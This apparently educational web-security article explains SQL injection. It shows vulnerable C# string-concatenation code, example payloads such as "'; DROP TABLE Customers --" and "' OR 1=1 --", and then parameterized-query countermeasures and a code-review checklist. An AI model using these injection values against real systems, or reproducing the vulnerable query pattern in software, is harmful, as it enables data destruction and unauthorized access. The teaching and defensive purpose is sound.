Attackers search for and exploit databases that are susceptible to SQL injection. SQL injection occurs when an attacker is able to insert SQL statements into a query by means of a SQL injection vulnerability. SQL injection allows the attacker to take advantage of insecure code on a system and pass commands directly to a database. This gives attackers the ability to leverage their access and perform a variety of activities. Servers vulnerable to SQL injection can be shut down, have commands executed on them, have their databases extracted, or be susceptible to other malicious acts.

Preventing SQL injection is best achieved by performing good coding practices, patching systems, and using strong authentication. You can also strengthen the database by making sure that the application is running with only enough rights to do its job and implement error handling so that when the system detects an error, it will not provide the attacker with any useable information.

Scan Web Servers With tools like Nmap, Amap, SuperScan to find lots of information that may expose holse in servers. Banner grabbing from servers are performed by Telnet, FTP, Netcat. Most common Web server attack are Buffer overflows, Source disclosure, File system traversal. Web application scanning can be done with Site rippers, Burp proxy, Achillies. Authentication attack on web applications are done by method of Password guessing, Brutus, Web crackers. Database attacks is the methos of SQl injection. You must learn the basic components of the web infrastructure. Know how the web server and client interact, as well as common methods and systems used by each applications such as PHP, ASP, and CGI. Read the following article for deeper understaning about Web server security, applications security, Exploits and defence.

Your application may be susceptible to SQL injection attacks when you incorporate unvalidated user input into database queries. Particularly susceptible is code that constructs dynamic SQL statements with unfiltered user input. Consider the following code:

SqlDataAdapter myCommand = new SqlDataAdapter(
"SELECT * FROM Users
WHERE UserName ='" + txtuid.Text + "'", conn);

Attackers can inject SQL by terminating the intended SQL statement with the single quote character followed by a semicolon character to begin a new command, and then executing the command of their choice. Consider the following character string entered into the txtuid field.

'; DROP TABLE Customers -

This results in the following statement being submitted to the database for execution.

SELECT * FROM Users WHERE UserName=''; DROP TABLE Customers --'

This deletes the Customers table, assuming that the application's login has sufficient permissions in the database (another reason to use a least privileged login in the database). The double dash (--) denotes a SQL comment and is used to comment out any other characters added by the programmer, such as the trailing quote. The semicolon is not actually required. SQL Server will execute two commands separated by spaces.

Other more subtle tricks can be performed. Supplying this input to the txtuid field:

' OR 1=1 -

builds this command:

SELECT * FROM Users WHERE UserName='' OR 1=1 -

Because 1=1 is always true, the attacker retrieves every row of data from the Users table.

Countermeasures to prevent SQL injection include:

1. Perform thorough input validation. Your application should validate its input prior to sending a request to the database.
2. Use parameterized stored procedures for database access to ensure that input strings are not treated as executable statements. If you cannot use stored procedures, use SQL parameters when you build SQL commands.
3. Use least privileged accounts to connect to the database.


Your code is vulnerable to SQL injection attacks wherever it uses input parameters to construct SQL statements. As with XSS bugs, SQL injection attacks are caused by placing too much trust in user input and not validating that the input is correct and well-formed.


The following process helps you locate SQL injection vulnerabilities:

1. Look for code that accesses the database.

- Scan for the strings "SqlCommand," "OleDbCommand," or "OdbcCommand."

2. Check whether the code uses parameterized stored procedures.

- Stored procedures alone cannot prevent SQL injection attacks. Check that your code uses parameterized stored procedures. Check that your code uses typed parameter objects such as SqlParameter, OleDbParameter, or OdbcParameter. The following example shows the use of a SqlParameter:

SqlDataAdapter myCommand = new SqlDataAdapter("spLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add(
"@userName", SqlDbType.VarChar,12);
parm.Value=txtUid.Text;

The typed SQL parameter checks the type and length of the input and ensures that the userName input value is treated as a literal value and not as executable code in the database.

3. Check that your code uses parameters in SQL statements.

- If you do not use stored procedures, check that your code uses parameters in the SQL statements it constructs, as shown in the following example:

select status from Users where UserName=@userName

Check that the following approach is not used, where the input is used directly to construct the executable SQL statement using string concatenation:

string sql = "select status from Users where UserName='"
+ txtUserName.Text + "'";

4. Check whether or not your code attempts to filter input.

- A common approach is to develop filter routines to add escape characters to characters that have special meaning to SQL. This is an unsafe approach, and you should not rely on it because of character representation issues.




For more on Web Site security Please visit our HSC Web Security Section!



完